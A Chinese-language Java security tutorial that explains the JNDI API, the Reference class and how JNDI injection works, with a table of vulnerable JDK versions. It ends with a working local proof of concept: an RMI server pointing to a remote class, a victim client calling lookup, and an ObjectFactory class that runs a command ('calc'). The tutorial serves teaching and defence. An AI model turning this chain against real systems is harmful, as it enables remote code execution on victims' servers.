【java安全】JNDI注入概述

本文最后更新于：2023年9月1日上午

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【java安全】JNDI注入概述

什么是JNDI？

JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。

命名服务将名称和对象联系起来，使得我们可以用名称访问对象

JDNI的结构

jndi的作用主要在于”定位”。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端：

有这么几个关键元素

Name，要在命名系统中查找对象，请为其提供对象的名称
Bind，名称与对象的关联称为绑定，比如在文件系统中文件名绑定到对应的文件，在 DNS 中域名绑定到对应的 IP
Context，上下文，一个上下文中对应着一组名称到对象的绑定关系，我们可以在指定上下文中查找名称对应的对象。比如在文件系统中，一个目录就是一个上下文，可以在该目录中查找文件，其中子目录也可以称为子上下文
References，在一个实际的名称服务中，有些对象可能无法直接存储在系统内，这时它们便以引用的形式进行存储，可以理解为 C中的指针

这些命名/目录服务提供者:

协议	作用
LDAP	轻量级目录访问协议，约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI	JAVA 远程方法协议，该协议用于远程调用应用程序编程接口，使客户机上运行的程序可以调用远程服务器上的对象
DNS	域名服务
CORBA	公共对象请求代理体系结构

在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：

javax.naming：主要用于命名操作,包含了访问目录服务所需的类和接口，比如 Context、Bindings、References、lookup 等。
javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；
javax.naming.event：在命名目录服务器中请求事件通知；
javax.naming.ldap：提供LDAP支持；
javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。

InitialContext - 上下文

构造方法：

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文，并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法：

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象，覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)

示例：

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

Reference - 引用

Reference类表示对存在于命名/目录系统以外的对象的引用，具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时，则可以从其他服务器上加载class字节码文件来实例化。

构造方法：

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数：
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法：

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString()

示例：

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

这里创建完Reference后又调用了ReferenceWrapper将其传进去了，为什么这么做呢？

因为我们前面学习RMI的时候，将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口

但是我们这里Reference没有满足，所以需要使用ReferenceWrapper将其封装一下

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3

public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference

JNDI注入

JNDI 注入，即当开发者在定义 JNDI 接口初始化时，lookup() 方法的参数可控，攻击者就可以将恶意的 url 传入参数远程加载恶意载荷，造成注入攻击。

JNDI注入的过程如下：

客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制，指向精心构造好的RMI服务地址
恶意的RMI服务会向受攻击的客户端返回一个Reference，用于获取恶意的Factory类
当客户端执行lookup时，客户端会获取相应的object factory，通过factory.getObjectInstance()获取外部远程对象的实例
攻击者在Factory类文件的构造方法，静态代码块，getObjectInstance()方法等处写入恶意代码，达到远程代码执行的效果
既然要用到Factory，那么恶意类需要实现ObjectFactory接口

具体攻击流程图：

JNDI 注入对 JAVA 版本有相应的限制，具体可利用版本如下：

协议	JDK6	JDK7	JDK8	JDK11
LADP	6u211以下	7u201以下	8u191以下	11.0.1以下
RMI	6u132以下	7u122以下	8u113以下	无

JNDI & RMI

利用版本：

JDK 6u132、7u122、8u113之前可以

JNDI注入使用Reference

首先搭建一个服务端：RMIServer

服务端的创建，按步骤来

首先是注册中心
然后是恶意类所在地址
接着是创建Reference对象引用，绑定恶意类的地址
绑定Name

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:1098/";
        Reference reference = new Reference("EvilClass", "EvilClass", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("class",referenceWrapper);
    }
}

然后搭建一个客户端RMIClient（客户端也是受害端）：

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        String url = "rmi://127.0.0.1:1099/class";
        context.lookup(url);
    }
}

然后需要创建一个恶意类：

实现ObjectFactory接口，把恶意代码写在getObjectInstance里面

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static {
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}